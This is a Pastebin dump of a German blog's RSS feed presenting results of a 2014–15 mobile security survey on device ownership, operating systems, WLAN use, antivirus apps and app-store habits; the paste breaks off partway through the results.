Advertisement
Guest User

gridtec

a guest
Jun 27th, 2015
1,160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 120.01 KB | None | 0 0
  1. This XML file does not appear to have any style information associated with it. The document tree is shown below.
  2. <rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">
  3. <channel>
  4. <title>Grid Blog</title>
  5. <atom:link href="http://www.gridtec.at/wp/feed/" rel="self" type="application/rss+xml"/>
  6. <link>http://www.gridtec.at/wp</link>
  7. <description>Willkommen beim Blog von GridTec.at!</description>
  8. <lastBuildDate>Sat, 27 Jun 2015 10:49:47 +0000</lastBuildDate>
  9. <language>de-DE</language>
  10. <sy:updatePeriod>hourly</sy:updatePeriod>
  11. <sy:updateFrequency>1</sy:updateFrequency>
  12. <generator>http://wordpress.org/?v=4.2.2</generator>
  13. <item>
  14. <title>Ergebnisse der Mobile Security Umfrage</title>
  15. <link>
  16. http://www.gridtec.at/wp/ergebnisse-der-mobile-security-umfrage/
  17. </link>
  18. <comments>
  19. http://www.gridtec.at/wp/ergebnisse-der-mobile-security-umfrage/#comments
  20. </comments>
  21. <pubDate>Fri, 26 Jun 2015 12:44:56 +0000</pubDate>
  22. <dc:creator>
  23. <![CDATA[ Robert Gludovatz ]]>
  24. </dc:creator>
  25. <category>
  26. <![CDATA[ Android ]]>
  27. </category>
  28. <category>
  29. <![CDATA[ Security ]]>
  30. </category>
  31. <category>
  32. <![CDATA[ android ]]>
  33. </category>
  34. <category>
  35. <![CDATA[ Mobile ]]>
  36. </category>
  37. <category>
  38. <![CDATA[ mobile security ]]>
  39. </category>
  40. <category>
  41. <![CDATA[ security ]]>
  42. </category>
  43. <category>
  44. <![CDATA[ Umfrage ]]>
  45. </category>
  46. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=185</guid>
  47. <description>
  48. <![CDATA[
  49. <p>Vorstellung der Ergebnisse der Mobile Security Umfrage Im Rahmen einer wissenschaftlichen Arbeit im Bereich Mobile Security wurde, um Behauptungen dieser Arbeit zu stärken beziehungsweise zu widerlegen, eine 72 Fragen große Umfrage ausgearbeitet. In dieser galt es hauptsächlich Fragen über das aktuell verwendete mobile Gerät des Benutzers bzw. der Benutzerin, hinsichtlich des Umganges mit Apps und deren Verhalten [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/ergebnisse-der-mobile-security-umfrage/">Ergebnisse der Mobile Security Umfrage</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  50. ]]>
  51. </description>
  52. <content:encoded>
  53. <![CDATA[
  54. <h1>Vorstellung der Ergebnisse der Mobile Security Umfrage</h1> <p>Im Rahmen einer wissenschaftlichen Arbeit im Bereich Mobile Security wurde, um Behauptungen dieser Arbeit zu stärken beziehungsweise zu widerlegen, eine 72 Fragen große Umfrage ausgearbeitet. In dieser galt es hauptsächlich Frage
  55. ]]>
  56. <![CDATA[
  57. n über das aktuell verwendete mobile Gerät des Benutzers bzw. der Benutzerin, hinsichtlich des Umganges mit Apps und deren Verhalten im Bereich Sicherheit, zu beantworten.</p> <p>Aufgrund der hohen Nachfrage werden im Laufe dieses Artikels die Ergebnisse dieser Umfrage vorgestellt.</p> <h3>Die Ar
  58. ]]>
  59. <![CDATA[
  60. beit</h3> <p>Ziel der Arbeit war es, die BenutzerInnen als Schwachstelle von Android zu entlarven, denn durch ihr mögliches Verhalten können sie potenzielle Opfer für Malware darstellen. Es sollte gezeigt werden, welche Arten von Malware die BenutzerInnen gefährden können und dass schon alleine
  61. ]]>
  62. <![CDATA[
  63. durch die benötigten Rechte einer App auf potenzielle Gefahren schließen lassen. Auch die Quellen, von denen Apps bezogen werden können, könnten auf das Gefahrenpotential schließen lassen. Gerootete Geräte könnten bedingt gefährdeter sein, je nachdem, welche Apps Root-Zugriff bekommen.</p>
  64. ]]>
  65. <![CDATA[
  66. <h3>Die Umfrage</h3> <p>Hauptsächlich wurde die Umfrage über soziale Netzwerke und Maillisten diverser Universitäten und Fachhochschulen verteilt. Im Zeitraum zwischen Anfang Oktober 2014 und Anfang Jänner 2015 konnten insgesamt 545 Personen motiviert werden an dieser teilzunehmen.</p> <p>Die ei
  67. ]]>
  68. <![CDATA[
  69. gentliche Zielgruppe waren BenutzerInnen von Smartphones und Tablets, besonders von Android-Geräten, im Alter zwischen 16 und 60 Jahren, welche ihr Gerät regelmäßig, sowohl privat als auch geschäftlich, benutzen und ihre Apps aus diversen Quellen beziehen. Die Auswertung der Umfrage ergab, dass
  70. ]]>
  71. <![CDATA[
  72. die durchschnittlichen TeilnehmerInnen, welche ein Smartphone besitzen, 1984 geboren wurden und mindestens einen Matura-Abschluss haben.</p> <p>Da die Umfrage nur in Deutsch ausgearbeitet wurde, haben hauptsächlich deutschsprachige BenutzerInnen teilgenommen. 80% der TeilnehmerInnen leben laut ih
  73. ]]>
  74. <![CDATA[
  75. ren Angaben in Österreich, 17% in Deutschland und der Rest in umliegenden Ländern. Auf eine Spezifikation des Geschlechts der TeilnehmerInnen wurde jedoch verzichtet.</p> <h3>Die Ergebnisse</h3> <p>Je nach abgegebener Antwort galt es bis zu 72 Fragen zu beantworten. Aus Datenschutzgründen werden
  76. ]]>
  77. <![CDATA[
  78. an dieser Stelle jedoch nicht alle Fragen bzw. deren Antworten dargestellt (E-Mail, Wohnort, etc.).</p> <h4>1. Besitzen Sie ein Smartphone?</h4> <p><em>Ein Smartphone ist ein Mobiltelefon, welches mehr Computerfunktionalität als ein herkömmliches Mobiltelefon zur Verfügung stellt.</em></p> <p>An
  79. ]]>
  80. <![CDATA[
  81. zahl Teilnehmer: 545</p> <p>529 (97.1%): ja</p> <p>16 (2.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/1-besitzen-sie-smartphone.jpg" rel="lightbox"><img class="alignnone wp-image-187 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/1-besitzen-
  82. ]]>
  83. <![CDATA[
  84. sie-smartphone-150x150.jpg" alt="1 besitzen sie smartphone" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>2. Besitzen Sie ein Tablet?</h4> <p><em>Ein Tablet ist ein tragbarer, flacher Computer in besonders leichter Ausführung mit einem Touchscreen, aber, anders als bei Notebooks, ohn
  85. ]]>
  86. <![CDATA[
  87. e mechanische Tastatur.</em></p> <p>Anzahl Teilnehmer: 545</p> <p>253 (46.4%): ja</p> <p>292 (53.6%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/2-besitzen-sie-table.jpg" rel="lightbox"><img class="alignnone wp-image-188 size-thumbnail" src="http://www.gridtec.at/wp/wp-
  88. ]]>
  89. <![CDATA[
  90. content/uploads/2015/04/2-besitzen-sie-table-150x150.jpg" alt="2 besitzen sie table" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>3. Besitzen Sie eine Smartwatch?</h4> <p><em>Eine Smartwatch ist eine Armbanduhr, die über Display, Sensoren, Aktuatoren sowie zusätzliche Computerfunkt
  91. ]]>
  92. <![CDATA[
  93. ionalität und Internetzugriff verfügt.</em></p> <p>Anzahl Teilnehmer: 534</p> <p>14 (2.6%): ja</p> <p>520 (97.4%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/3-besitzen-sie-smartwatch.jpg" rel="lightbox"><img class="alignnone wp-image-189 size-thumbnail" src="http://w
  94. ]]>
  95. <![CDATA[
  96. ww.gridtec.at/wp/wp-content/uploads/2015/04/3-besitzen-sie-smartwatch-150x150.jpg" alt="3 besitzen sie smartwatch" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>4. Besitzen Sie einen Smart TV?</h4> <p><em>Smart-TV ist die Bezeichnung für Fernsehgeräte mit Computer-Zusatzfunktionen,
  97. ]]>
  98. <![CDATA[
  99. insbesondere Internet-Fähigkeiten. Smarte Fernsehgeräte haben Zusatzschnittstellen wie USB, Netzwerk, WLAN und Speicherkarten.</em></p> <p>Anzahl Teilnehmer: 532</p> <p>189 (35.5%): ja</p> <p>343 (64.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/4-besitzen-sie-smart
  100. ]]>
  101. <![CDATA[
  102. -tv.jpg" rel="lightbox"><img class="alignnone wp-image-190 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/4-besitzen-sie-smart-tv-150x150.jpg" alt="4 besitzen sie smart tv" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>5. Besitzen Sie ein weiteres Gerät, wel
  103. ]]>
  104. <![CDATA[
  105. ches auf Smartphone-Technologie basiert?</h4> <p><em>z.B.: Android Autoradio, Mediabox (Mediaplayer), SmartCam, Settopbox, etc.</em></p> <p>Anzahl Teilnehmer: 518</p> <p>469 (90.5%): nein</p> <p>49 (9.5%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/5-andere-Geräte.jp
  106. ]]>
  107. <![CDATA[
  108. g" rel="lightbox[185]"><img class="alignnone wp-image-191 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/5-andere-Geräte-150x150.jpg" alt="5 andere Geräte" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>6. Wären Sie bereit sich Smart Glasses zuzulegen, soba
  109. ]]>
  110. <![CDATA[
  111. ld diese Marktreif sind?</h4> <p><em>Smart Glasses sind Datenbrillen mit Funktionen eines Smartphones, die Informationen in das Sichtfeld des Nutzers einblenden (z.B.: Google Glass).</em></p> <p>Anzahl Teilnehmer: 535</p> <p>160 (29.9%): ja</p> <p>375 (70.1%): nein</p> <p><a href="http://www.gridtec
  112. ]]>
  113. <![CDATA[
  114. .at/wp/wp-content/uploads/2015/04/6-smart-glasses.jpg" rel="lightbox[185]"><img class="alignnone wp-image-192 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/6-smart-glasses-150x150.jpg" alt="6 smart glasses" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>7. W
  115. ]]>
  116. <![CDATA[
  117. ählen Sie bitte Ihren Smartphone Hersteller:</h4> <p>Anzahl Teilnehmer: 513</p> <p>123 (24.0%): Apple</p> <p>30 (5.8%): Google</p> <p>47 (9.2%): HTC</p> <p>6 (1.2%): Huawei</p> <p>48 (9.4%): LG Electronics</p> <p>7 (1.4%): Motorola</p> <p>19 (3.7%): Nokia</p> <p>1 (0.2%): Oppo</p> <p>167 (32.6%): S
  118. ]]>
  119. <![CDATA[
  120. amsung</p> <p>40 (7.8%): Sony</p> <p>25 (4.9%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/7-smartphone-hersteller.jpg" rel="lightbox[185]"><img class="alignnone wp-image-193" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/7-smartphone-hersteller-300x207.jpg
  121. ]]>
  122. <![CDATA[
  123. " alt="7 smartphone hersteller" width="217" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>8. Auf welchem System basiert Ihr Smartphone?</h4> <p><em>Besitzer eines Samsung Galaxy´s wählen zum Beispiel &#8220;Android&#8221;, iPhone Besitzer wählen &#8220;iOS&#8221;, Nokia Lumia Besitzer wählen
  124. ]]>
  125. <![CDATA[
  126. &#8220;Windows&#8221; aus und Kindle Fire Phone Besitzer wählen &#8220;Fire OS&#8221;. Sollten Sie ein anderes Betriebssystem besitzen oder nicht wissen welches Sie genau verwenden wählen sie bitte &#8220;Anderes&#8221;.</em></p> <p>Anzahl Teilnehmer: 510</p> <p>357 (70.0%): Android</p> <p>122 (23
  127. ]]>
  128. <![CDATA[
  129. .9%): iOS</p> <p>20 (3.9%): Windows</p> <p>&#8211; (0.0%): Fire OS</p> <p>11 (2.2%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/8-smartphone-system.jpg" rel="lightbox[185]"><img class="alignnone wp-image-194" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/8-smartphone-system-300x189.jpg" alt="8 smartphone system" width="238" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>9. Wissen Sie, welche Version Ihr mobiles Betriebssystem hat?</h4> <p><em>Bei Android Geräten z.B.: &#8220;4.2&#8221;, bei iPhone z.B.: &#8220;iOS 7&#8243;, &#8230;</em></p> <p>Anzahl Teilnehmer: 505</p> <p>133 (26.3%): nein</p> <p>372 (73.7%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/9-betriebssystem-version.jpg" rel="lightbox[185]"><img class="alignnone wp-image-195" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/9-betriebssystem-version-300x163.jpg" alt="9 betriebssystem version" width="276" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>10. Wieviele Smartphones haben Sie vor Ihrem aktuellen besessen?</h4> <p>Anzahl Teilnehmer: 514</p> <p>94 (18.3%): garkeines</p> <p>170 (33.1%): nur eines</p> <p>223 (43.4%): 2 bis 4</p> <p>18 (3.5%): 5 bis 8</p> <p>9 (1.8%): mehr als 9</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/10-smartphones-bisher.jpg" rel="lightbox[185]"><img class="alignnone wp-image-196" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/10-smartphones-bisher-300x192.jpg" alt="10 smartphones bisher" width="235" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>11. Haben Sie vor, beim Kauf Ihres nächsten Smartphones, das Betriebssystem zu wechseln?</h4> <p><em>Zum Beispiel: Sie sind zurzeit im Besitz eines iPhones und haben sich vorgenommen, dass Ihr nächstes Gerät ein Android Smartphone wird.</em></p> <p>Anzahl Teilnehmer: 511</p> <p>52 (10.2%): ja</p> <p>459 (89.8%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/11-wechsel.jpg" rel="lightbox[185]"><img class="alignnone wp-image-197" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/11-wechsel-300x239.jpg" alt="11 wechsel" width="188" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>12. Würden Sie sich selbst als erfahrenen Smartphone Benutzer einschätzen?</h4> <p>Anzahl Teilnehmer: 511</p> <p>432 (84.5%): ja</p> <p>79 (15.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/12-erfahrung.jpg" rel="lightbox[185]"><img class="alignnone wp-image-198" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/12-erfahrung-300x242.jpg" alt="12 erfahrung" width="186" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>13. Wie häufig verwenden Sie folgende Funktionen Ihres Smartphones:</h4> <p>Anzahl Teilnehmer: 498</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/13-verwendung-smartphone.jpg" rel="lightbox"><img class="alignnone wp-image-199 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/13-verwendung-smartphone-300x163.jpg" alt="13 verwendung smartphone" width="300" height="163" /></a></p> <hr /> <p>&nbsp;</p> <p>&nbsp;</p> <h4>14. Benutzen Sie Ihr Smartphone auch beruflich?</h4> <p><em>z.B.: Sie haben Firmenkontakte oder Firmendaten auf Ihrem Smartphone gespeichert .</em></p> <p>Anzahl Teilnehmer: 497</p> <p>231 (46.5%): ja</p> <p>266 (53.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/14-beruflich.jpg" rel="lightbox[185]"><img class="alignnone wp-image-200" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/14-beruflich-300x153.jpg" alt="14 beruflich" width="294" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>15. Verwendet außer Ihnen noch jemand regelmäßig Ihr Smartphone?</h4> <p><em>z.B.: Ihre Kinder, Partner, etc.</em></p> <p>Anzahl Teilnehmer: 496</p> <p>74 (14.9%): ja</p> <p>422 (85.1%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/15-andere-nutzer-smartphone.jpg" rel="lightbox[185]"><img class="alignnone wp-image-201" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/15-andere-nutzer-smartphone-300x269.jpg" alt="15 andere nutzer smartphone" width="168" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>16. Verbinden Sie sich mit Ihrem Smartphone manchmal zu öffentlichen WLAN-Netzen?</h4> <p><em>Nutzen Sie zum Beispiel das kostenlose HotSpot-Angebot am Flughafen oder bei McDonald´s?</em></p> <p>Anzahl Teilnehmer: 496</p> <p>349 (70.4%): ja</p> <p>147 (29.6%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/16-smartphone-wlan.jpg" rel="lightbox[185]"><img class="alignnone wp-image-202" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/16-smartphone-wlan-300x169.jpg" alt="16 smartphone wlan" width="267" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>17. Haben Sie den Speicherplatz Ihres Smartphones mittels Speicherkarte erweitert?</h4> <p>Anzahl Teilnehmer: 493</p> <p>194 (39.4%): ja</p> <p>299 (60.6%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/17-speicherkarte.jpg" rel="lightbox[185]"><img class="alignnone wp-image-203" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/17-speicherkarte-300x153.jpg" alt="17 speicherkarte" width="295" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>18. Haben Sie auf Ihrem Smartphone eine Antiviren-App installiert?</h4> <p><em>Ein Antivirenprogramm ist eine Software, die bekannte Computerviren, Würmer und Trojanische Pferde aufspüren, blockieren und gegebenenfalls beseitigen soll.</em></p> <p>Anzahl Teilnehmer: 480</p> <p>383 (79.8%): nein</p> <p>97 (20.2%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/18-antiviren-app.jpg" rel="lightbox[185]"><img class="alignnone wp-image-204" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/18-antiviren-app-300x187.jpg" alt="18 antiviren app" width="240" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>19. Machen Sie sich des Öfteren Gedanken über die Sicherheit Ihres Smartphones?</h4> <p><em>Gemeint ist nicht die Eingabe eines Pins oder Ähnlichem zur Entsperrung des Gerätes, sondern Sicherheit im Sinne von Antiviren, etc.</em></p> <p>Anzahl Teilnehmer: 497</p> <p>292 (58.8%): ja</p> <p>205 (41.2%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/19-gedanken-sicherheit.jpg" rel="lightbox[185]"><img class="alignnone wp-image-205 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/19-gedanken-sicherheit-150x150.jpg" alt="19 gedanken sicherheit" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>20. Haben Sie vor, sich in den nächsten Monaten ein Smartphone zuzulegen?</h4> <p>Anzahl Teilnehmer: 15</p> <p>2 (13.3%): ja</p> <p>13 (86.7%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/20-smartphone-zulegen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-206 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/20-smartphone-zulegen-150x150.jpg" alt="20 smartphone zulegen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>21. Wählen Sie bitte Ihren Tablet Hersteller:</h4> <p>Anzahl Teilnehmer: 234</p> <p>90 (38.5%): Apple</p> <p>19 (8.1%): Google</p> <p>3 (1.3%): HTC</p> <p>&#8211; (0.0%): Huawei</p> <p>1 (0.4%): LG Electronics</p> <p>1 (0.4%): Motorola</p> <p>1 (0.4%): Nokia</p> <p>&#8211; (0.0%): Oppo</p> <p>49 (20.9%): Samsung</p> <p>9 (3.8%): Sony</p> <p>61 (26.1%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/21-tablet-hersteller.jpg" rel="lightbox[185]"><img class="alignnone wp-image-207 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/21-tablet-hersteller-150x150.jpg" alt="21 tablet hersteller" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>22. Auf welchem System basiert Ihr Tablet?</h4> <p><em>Besitzer eines Samsung Galaxy Tab´s wählen &#8220;Android&#8221;, Apple iPad Besitzer wählen &#8220;iOS&#8221;, Microsoft Surface Besitzer wählen &#8220;Windows&#8221; und Besitzer eines Kindle Fire´s wählen &#8220;Fire OS&#8221;. Sollten Sie ein anderes Betriebssystem besitzen oder nicht wissen welches Sie genau verwenden, wählen sie bitte &#8220;Anderes&#8221;.</em></p> <p>Anzahl Teilnehmer: 232</p> <p>110 (47.4%): Android</p> <p>90 (38.8%): iOS</p> <p>27 (11.6%): Windows</p> <p>&#8211; (0.0%): Fire OS</p> <p>5 (2.2%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/22-tablet-os.jpg" rel="lightbox[185]"><img class="alignnone wp-image-208 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/22-tablet-os-150x150.jpg" alt="22 tablet os" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>23. Wissen Sie, welche Version Ihr mobiles Betriebssystem hat?</h4> <p><em>Bei Android Geräten z.B.: &#8220;4.2&#8221;, bei iPhone z.B.: &#8220;iOS 7&#8243;, &#8230;</em></p> <p>Anzahl Teilnehmer: 235</p> <p>72 (30.6%): nein</p> <p>163 (69.4%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/23-tablet-version.jpg" rel="lightbox[185]"><img class="alignnone wp-image-209 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/23-tablet-version-150x150.jpg" alt="23 tablet version" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>24. Wieviele Tablets haben Sie vor Ihrem aktuellen besessen?</h4> <p>Anzahl Teilnehmer: 235</p> <p>216 (91.9%): weniger als 2</p> <p>18 (7.7%): 2 bis 4</p> <p>1 (0.4%): 5 bis 8</p> <p>&#8211; (0.0%): mehr als 8</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/24-tablets-bevor.jpg" rel="lightbox[185]"><img class="alignnone wp-image-210 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/24-tablets-bevor-150x150.jpg" alt="24 tablets bevor" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>25. Haben Sie vor, sich in den nächsten Monaten ein Tablet zuzulegen?</h4> <p>Anzahl Teilnehmer: 274</p> <p>36 (13.1%): ja</p> <p>238 (86.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/25-tablet-zulegen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-211 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/25-tablet-zulegen-150x150.jpg" alt="25 tablet zulegen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>26. Wie häufig verwenden Sie folgende Funktionen Ihres Tablets:</h4> <p>Anzahl Teilnehmer: 234</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/26-funktionen-tablet.jpg" rel="lightbox"><img class="alignnone wp-image-212 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/26-funktionen-tablet-300x143.jpg" alt="26 funktionen tablet" width="300" height="143" /></a></p> <hr /> <p>&nbsp;</p> <h4>27. Verbinden Sie sich mit Ihrem Tablet manchmal zu öffentlichen WLAN-Netzen?</h4> <p><em>Nutzen Sie zum Beispiel das kostenlose HotSpot-Angebot am Flughafen oder bei McDonald´s?</em></p> <p>Anzahl Teilnehmer: 233</p> <p>127 (54.5%): ja</p> <p>106 (45.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/27-tablet-wlan.jpg" rel="lightbox[185]"><img class="alignnone wp-image-213 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/27-tablet-wlan-150x150.jpg" alt="27 tablet wlan" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>28. Benutzen Sie Ihr Tablet auch beruflich?</h4> <p><em>z.B.: Sie haben Firmenkontakte oder Firmendaten auf Ihrem Tablet gespeichert.</em></p> <p>Anzahl Teilnehmer: 233</p> <p>64 (27.5%): ja</p> <p>169 (72.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/28-tablet-beruflich.jpg" rel="lightbox[185]"><img class="alignnone wp-image-214 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/28-tablet-beruflich-150x150.jpg" alt="28 tablet beruflich" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>29. Verwendet außer Ihnen noch jemand regelmäßig Ihr Tablet?</h4> <p><em>z.B.: Ihre Kinder, Partner, etc.</em></p> <p>Anzahl Teilnehmer: 234</p> <p>113 (48.3%): ja</p> <p>121 (51.7%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/29-tablet-andere-benutzer.jpg" rel="lightbox[185]"><img class="alignnone wp-image-215 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/29-tablet-andere-benutzer-150x150.jpg" alt="29 tablet andere benutzer" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>30. Haben Sie den Speicherplatz Ihres Tablets mittels Speicherkarte erweitert?</h4> <p>Anzahl Teilnehmer: 233</p> <p>50 (21.5%): ja</p> <p>183 (78.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/30-tablet-karte.jpg" rel="lightbox[185]"><img class="alignnone wp-image-216 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/30-tablet-karte-150x150.jpg" alt="30 tablet karte" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>31. Haben Sie auf Ihrem Tablet eine Antiviren-App installiert?</h4> <p><em>Ein Antivirenprogramm ist eine Software, die bekannte Computerviren, Würmer und Trojanische Pferde aufspüren, blockieren und gegebenenfalls beseitigen soll.</em></p> <p>Anzahl Teilnehmer: 221</p> <p>181 (81.9%): nein</p> <p>40 (18.1%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/31-tablet-antiviren.jpg" rel="lightbox[185]"><img class="alignnone wp-image-217 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/31-tablet-antiviren-150x150.jpg" alt="31 tablet antiviren" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>32. Machen Sie sich des Öfteren Gedanken über die Sicherheit Ihres Tablets?</h4> <p><em>Gemeint ist nicht die Eingabe eines Pins oder Ähnlichem zur Entsperrung des Gerätes, sondern Sicherheit im Sinne von Antiviren, etc.</em></p> <p>Anzahl Teilnehmer: 234</p> <p>113 (48.3%): ja</p> <p>121 (51.7%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/32-tablet-sicherheit-gedanken.jpg" rel="lightbox[185]"><img class="alignnone wp-image-218 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/32-tablet-sicherheit-gedanken-150x150.jpg" alt="32 tablet sicherheit gedanken" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>33. Wie viele Apps installieren Sie ungefähr pro Monat auf Ihren mobilen Geräten?</h4> <p>Anzahl Teilnehmer: 484</p> <p><span style="text-decoration: underline;">Errechneter Durchschnitt: 3</span></p> <hr /> <p>&nbsp;</p> <h4>34. Laden Sie sich manchmal kostenpflichtige Apps aus offiziellen App-Stores für Ihre mobilen Geräte?</h4> <p><em>z.B.: von GooglePlay oder Apple App Store</em></p> <p>Anzahl Teilnehmer: 493</p> <p>225 (45.6%): ja</p> <p>268 (54.4%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/34-kostenpflichtig.jpg" rel="lightbox[185]"><img class="alignnone wp-image-219 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/34-kostenpflichtig-150x150.jpg" alt="34 kostenpflichtig" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>35. Laden Sie sich manchmal Apps von einem anderen App Store herunter?</h4> <p><em>z.B.: App Store ihres Mobilfunkbetreibers (T-Mobile Store), App Store des Geräteherstellers (Samsung App Store)</em></p> <p>Anzahl Teilnehmer: 492</p> <p>79 (16.1%): ja</p> <p>413 (83.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/35-andere-stores.jpg" rel="lightbox[185]"><img class="alignnone wp-image-220 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/35-andere-stores-150x150.jpg" alt="35 andere stores" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>36. Wie groß ist Ihr Vertrauen gegenüber offiziellen App-Stores?</h4> <p><em>z.B.: von GooglePlay oder Apple App Store</em></p> <p>Anzahl Teilnehmer: 494</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/36-vertrauen-offizielle-stores.jpg" rel="lightbox"><img class="alignnone wp-image-221 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/36-vertrauen-offizielle-stores-300x49.jpg" alt="36 